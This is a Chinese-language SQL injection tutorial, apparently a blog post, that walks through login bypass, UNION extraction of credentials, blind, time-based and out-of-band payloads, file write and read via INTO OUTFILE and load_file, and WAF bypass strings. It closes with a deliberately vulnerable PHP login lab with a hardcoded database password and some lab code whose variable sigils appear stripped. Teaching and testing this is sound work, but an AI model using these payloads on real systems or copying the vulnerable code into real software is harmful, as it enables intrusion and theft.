SQL Injection (SQLi) 基礎教學
本篇文章將介紹網頁常見的安全漏洞 SQL Injection(簡稱 SQLi)。首先,我們會先快速回顧 SQL 查詢語言 的基礎知識,再依序介紹常見的 SQLi 攻擊類型,例如字串型、數字型、Union 型以及 Blind SQL Injection,最後也會提供一個教學用的 SQLi 測試環境 (LAB) 供大家練習。
前言:SQL 是什麼?
「第一次接觸 SQL 語法的時候,是在攻擊資料庫……」
有些人最先使用 SQL 的場合,可能不是在開發專案或是做資料處理,而是在資訊安全的測試或駭客攻擊場景中。如果你對此感到好奇或想深入學習,那麼本文將帶你一步步了解 SQL Injection 的攻擊手法。
資料庫結構
SQL 是用來操作資料庫的語言,而資料庫 (Database) 本身會由下列結構組成:
– 資料庫 (database)
– 資料表 (table)
– 欄位 (column)
– 資料 (data)
範例如下:
常見的 SQL Injection 類型
SQLi 並不只是單純地「撈資料」,它可以對應用程式做各種影響。以下為常見的攻擊方向:
- 查詢隱藏的資料
- 嘗試修改原本的 SQL,取得應該被隱藏的資料。
- 影響應用程式邏輯
- 修改 SQL,使應用程式執行意料外的邏輯分支(例如繞過驗證、繞過驗證碼等)。
- UNION 攻擊
- 使用 UNION 敘述,將額外的查詢結果合併到原本的查詢中,取得更全面的資料或結構資訊。
- 檢查資料庫
- 透過 SQL 語法,取得資料庫版本、架構等更多系統資訊。
- 盲 SQL 注入 (Blind SQL Injection)
- 雖然有 SQLi 漏洞,但頁面上不會直接顯示錯誤或回傳查詢結果,需透過「真/假回應」、「延遲時間」或其他方式推敲資訊。
1. 查詢隱藏的資料
假設在一個購物網站中,使用下列 URL 查詢商品類別為 Gifts
:
https://blog.feifei.tw/products?category=Gifts
後端收到參數 category
後,會執行:
SELECT * FROM products
WHERE category = 'Gifts' AND released = 1
category = 'Gifts'
:查詢Gifts
類別的商品released = 1
:已發布商品
如果我們希望「註解掉」AND 後面的條件,可以嘗試:
https://blog.feifei.tw/products?category=Gifts'+OR+1=1--
URL 中的 +
在網址中是空白(%20)的意思,實際查詢為:
SELECT * FROM products
WHERE category = 'Gifts' OR 1=1--' AND released = 1
此時 OR 1=1
會使查詢返回更多資料。
SQL 註解方式
不同資料庫對於註解有不同的標記。以下為常見方式:
2. 影響應用程式邏輯
例如某網站的登入系統,提交帳號、密碼後,後端執行:
SELECT * FROM users
WHERE username = 'wiener' AND password = 'bluecheese'
如果我們輸入:
username: administrator'--
password: (空)
則實際執行的 SQL 可能變成:
SELECT * FROM users
WHERE username = 'administrator'--' AND password = ''
--
之後的內容被註解掉,導致跳過密碼檢查,也就「繞過登入」。
3. UNION 攻擊
3.1 範例
假設原查詢為:
SELECT name, description FROM products
WHERE category = 'Gifts'
若我們透過注入在後方加入:
' UNION SELECT username, password FROM user --
整體查詢會被合併成:
SELECT name, description FROM products WHERE category = 'Gifts'
UNION
SELECT username, password FROM user
--
UNION 可以將多個 SELECT
查詢的結果合併在一起,而核心的要點在於:
1. 每個子查詢要回傳相同數量的欄位(column)。
2. 對應欄位的型態需一致或可被轉換。
3.2 確定需要多少欄位
- 利用 ORDER BY 測試
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
- 直到出現錯誤,可推測欄位數大約是多少。
- 利用 UNION SELECT NULL 測試
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
- 同樣測試直到出現錯誤。
因為
NULL
可以轉型成大部分常用的資料型態,所以常用來測試欄位數。LAB 練習連結
3.3 確認欄位型態
假設發現有四個欄位,便可逐一測試哪個欄位能放字串:
' UNION SELECT 'a', NULL, NULL, NULL--
' UNION SELECT NULL, 'a', NULL, NULL--
' UNION SELECT NULL, NULL, 'a', NULL--
' UNION SELECT NULL, NULL, NULL, 'a'--
若該欄位不能被轉成字串,會噴錯,由此判斷該欄位型態。
LAB 練習連結
3.4 跨表搜尋
假設已知資料表 users
中有 username
、password
欄位,可以嘗試:
' UNION SELECT username, password from users --
3.5 在單個欄位中檢索多個值
若只剩一個欄位可用,可透過字串串接方式(例如 ||
)把多個資訊組合在一起:
' UNION SELECT username || '~' || password FROM users --
回傳會呈現類似:
administrator~s3cure
wiener~peter
carlos~montoya
...
MySQL 在繞過 WAF 時要特別注意空格或符號的使用方式。
4. 檢查資料庫
4.1 查詢資料庫類型與版本
常見資料庫類型有 Microsoft SQL Server、MySQL、Oracle、PostgreSQL。每種查詢版本資訊的方式略有不同:
- Oracle
' UNION SELECT BANNER, NULL FROM v$version --
- Microsoft / MySQL
' UNION SELECT @@version, NULL -- #
DUAL 空表
在 Oracle、MySQL、MSSQL 中,常會有系統預設的「空表 (DUAL)」,如:
SELECT * FROM DUAL
- Oracle 通常必須加上 DUAL 才能正確執行查詢。
4.2 列出資料庫裡的所有內容
MySQL / MSSQL
在 MySQL 中,information_schema
保存了資料庫、資料表、欄位等中繼資料:
information_schema.schemata
:schema_name
(資料庫名稱)information_schema.tables
:table_name
(資料表名稱),關聯欄位table_schema
(對應資料庫名稱)information_schema.columns
:column_name
(欄位名稱),關聯table_name
(對應資料表)
-- 取得所有資料庫清單
SELECT schema_name
FROM information_schema.schemata;
-- 在知道資料庫名稱後,查找該資料庫中的所有資料表
SELECT table_name
FROM information_schema.tables
WHERE table_schema='資料庫名稱';
-- 在知道資料表後,查找該資料表中的所有欄位
SELECT column_name
FROM information_schema.columns
WHERE table_name='資料表名稱';
-- 最後再真正撈取該表的所有資料
SELECT 欄位名稱
FROM 資料庫名稱.資料表名稱;
Oracle
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='資料表名稱';
SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱;
5. 盲 SQL 注入 (Blind SQL Injection)
5.1 何謂盲 SQL 注入
當網站存在 SQL Injection 的漏洞,但網頁或回應不直接顯示錯誤或回傳查詢結果時,就會出現「盲 SQL 注入」。這時候無法使用先前類似 UNION
的方法直接取得想要的資料,需要透過「條件回應」、「延遲時間」或其他技巧推敲出資料庫資訊。
5.2 通過「條件回應」來利用盲 SQL 注入
假設伺服器會透過 Cookie 參數 TrackingId
檢查該使用者是否已存在資料庫 TrackedUsers
中。若查詢到符合的記錄,就在前端顯示「Welcome back」。
- 測試 1:
TrackingId = x' UNION SELECT 'a' WHERE 1=1--
1=1
回傳true
,畫面就顯示「Welcome back」。
- 測試 2:
TrackingId = x' UNION SELECT 'a' WHERE 1=2--
1=2
回傳false
,畫面不顯示「Welcome back」。
若想測試資料庫中是否存在使用者 administrator
,可以:
TrackingId = x' UNION SELECT 'a' FROM users WHERE username='administrator'--
一旦確定有該使用者,可以進一步使用 布林法「二分搜尋」的概念,一個字元一個字元地猜測密碼:
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'Administrator'
AND SUBSTRING(Password, 1, 1) > 'm' --
- 若回應仍顯示「Welcome back」,表示第一個字元 ascii 大於
'm'
。 - 反之,若不顯示,則表示第一個字元小於
'm'
。
透過不斷的比對,即可慢慢猜出完整密碼。
5.3 通過觸發 SQL 錯誤 (Error-based) 來誘導條件回應
如果頁面不會顯示任何差異,但能透過「是否觸發資料庫錯誤」來判斷條件 true/false,依然可以執行盲注。
例如:
TrackingId = x' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
1=2
為 false,不會執行1/0
,所以不會噴錯。
TrackingId = x' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--
1=1
為 true,導致1/0
錯誤,進而出現資料庫錯誤訊息。
同理也可用於測試「SUBSTRING(password,1,1)
大於某字元」之條件,藉由是否噴錯來判斷 true/false。
Boolean Based SQL Injection
常使用二分搜尋法去猜字元的 ascii,觀察回應是否正確、錯誤、或空白等差異。
5.4 通過「時間延遲」(Time-based) 來利用盲 SQL 注入
如果資料庫錯誤被網站處理掉,或是沒有任何顯示差異,我們可以利用特定敘述觸發「延遲」,透過回應時間的差別來判斷條件。
在 Microsoft SQL Server 中常見語法:
'; IF (1=1) WAITFOR DELAY '0:0:10'--
1=1
為 true,則會延遲 10 秒再回應。若不符合條件則不延遲。
同理,也能使用延遲的方式一個字元一個字元猜測 administrator
的密碼。
不同資料庫也會有不同的「延遲」語法,如 MySQL 的
SLEEP()
函數,PostgreSQL 的pg_sleep()
等。
5.5 使用 Out-of-band (OAST) 技術
若目標網站對所有查詢結果或錯誤訊息都不顯示,也無法觀察到延遲時間,那可能要利用 DNS 等外部互動(Out-of-Band)來取得資料,或驗證條件是否為真。
- 常用輔助工具: Burp Collaborator
舉例,對 Microsoft SQL Server 發送:
'; exec master..xp_dirtree '//xxxxx.burpcollaborator.net/a'--
當資料庫嘗試讀取該路徑,就會觸發一筆 DNS Query 到 xxxxx.burpcollaborator.net
,讓我們在外部看到流量並推斷條件結果。
6. 如何檢測 SQL Injection 漏洞
- 嘗試輸入單引號
'
,觀察是否噴錯或出現異常。 - 插入特定的 SQL 關鍵字或符號,觀察回應有無變化。
- 測試布林條件:
OR 1=1
vs.OR 1=2
- 比較回應差異。
- 時間延遲:
- 投入延遲語法,判斷是否有明顯延遲。
- OAST(Out-of-Band)
- 使用帶外技術觸發 DNS 或 HTTP 請求到外部,觀察是否有出現請求。
7. SQL 注入查詢的不同部分
- 大部分 SQLi 漏洞發生在
SELECT
語法的WHERE
子句。 - 其他常見位置:
UPDATE
語法中的WHERE
條件或更新內容。INSERT
語法中的新欄位值。SELECT
中的表名稱或欄位名稱。ORDER BY
子句等。
8. 第二階段 SQL 注入 (Second-order SQL Injection)
- 第一階段 SQL 注入:使用者輸入後台立即執行,馬上可看到漏洞效果。
- 第二階段 SQL 注入:
- 使用者輸入的資料先被「安全地」儲存至資料庫,不會立即觸發漏洞。
- 但系統裡有另一個功能或程式,會取出這段「不安全字串」再次進行 SQL 查詢,這才造成漏洞。
9. 資料庫特定注意事項
- 雖然主流資料庫的核心功能大同小異,但有些細節需要注意:
- 字串連接的方式(
||
、+
、CONCAT()
…等)。 - 不同註解符號(
--
、#
、/*...*/
)。 - 是否支援批次查詢或多敘述執行(Stacked Queries)。
- 平台特定的 API 或函數。
- 錯誤訊息格式、是否回傳詳細資訊等。
- 字串連接的方式(
10. 如何防止 SQL Injection
- 絕對避免 直接拼接 SQL 字串:
// 錯誤示範 String query = "SELECT * FROM products WHERE category = '" + input + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query);
- 使用參數化查詢(Prepared Statement):
// 正確示範 PreparedStatement statement = connection.prepareStatement( "SELECT * FROM products WHERE category = ?" ); statement.setString(1, input); ResultSet resultSet = statement.executeQuery();
11. 組合技能:SQL Injection – RCE / LFI
- 寫檔案
1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
或無 union 寫法:
1 into outfile '/var/www/html/test.php' fields terminated by "<? phpinfo(); ?>"
- 讀取檔案
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
12. SQLi Bypass WAF
OWASP – SQL Injection Bypassing WAF
- 空白繞過:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
+UnIOn%0d%0aSeleCt%0d%0a
/?id=(1)or(0x50=0x50)
- 引號繞過:
concat(0x223e,@@version)
13. 參考與推薦文章
14. 自製 SQLi 測試環境 (LAB)
假設想要自己搭建一個練習 SQLi 的環境,可參考以下架構:
14.1 目錄結構
server/
config.php
index.php
login.php
db/
db.sql
docker-compose.yml
14.2 server/config.php
<?php
db_server = "dbtesst";db_user = "root";
db_password = "AYgSMEucvEhpKzkchF5hRgd5vhnDyexY";db_name = "test";
pdo = new PDO("mysql:host=db_server;dbname=db_name;charset=utf8mb4",db_user,$db_password);
?>
14.3 server/index.php
<form method="POST" action="login.php">
<input id="username" placeholder="Username" required="" autofocus="" type="text" name="username">
<input id="password" placeholder="Password" required="" type="password" name="password">
<button type="submit">登入</button>
</form>
14.4 server/login.php
<?php
flag = "CTF{Meowmeow}";
if( !isset(_POST['username']) || !isset(_POST['password']) ||_POST['username']=="" || _POST['password']=="" ){
header("Location: index.php");
}username = _POST['username'];password = sha1(_POST['password']);
require_once('config.php');sql = "SELECT * FROM users WHERE username = 'username' and password = 'password';";
stmt =pdo->query(sql);success = count(stmt->fetchAll())>0;text = "";
success ?text = flag :text = "登入失敗";
echo $text;
?>
14.5 db/db.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+08:00";
CREATE TABLE users (
id int(11) NOT NULL auto_increment,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
INSERT INTO users (id, username, password) VALUES ("1", "nuty", "006f9a5cf5441f870b1a8162ae22a224954593fe");
INSERT INTO users (id, username, password) VALUES ("2", "nqgr", "c15f9bd9f6a3c861d33ec3f9438fcda226b1c60e");
INSERT INTO users (id, username, password) VALUES ("3", "ombz", "d79cfc4e59227a39f822ddb78df646ba9956921d");
INSERT INTO users (id, username, password) VALUES ("4", "pgid", "e62729cb639d51be23dc8af9f3a4a3d88f6fc3ff");
INSERT INTO users (id, username, password) VALUES ("5", "fsfw", "54bab02c812928ce5ab1beb02c95514b87508449");
14.6 docker-compose.yml
version: "2"
services:
web:
image: php:7-apache
ports:
- "8001:80"
volumes:
- ./server:/var/www/html/
links:
- db
networks:
- default
db:
image: mysql:5.7
environment:
MYSQL_DATABASE: dbtest
MYSQL_ROOT_PASSWORD: AYgSMEucvEhpKzkchF5hRgd5vhnDyexY
volumes:
- ./db:/docker-entrypoint-initdb.d
- persistent:/var/lib/mysql
networks:
- default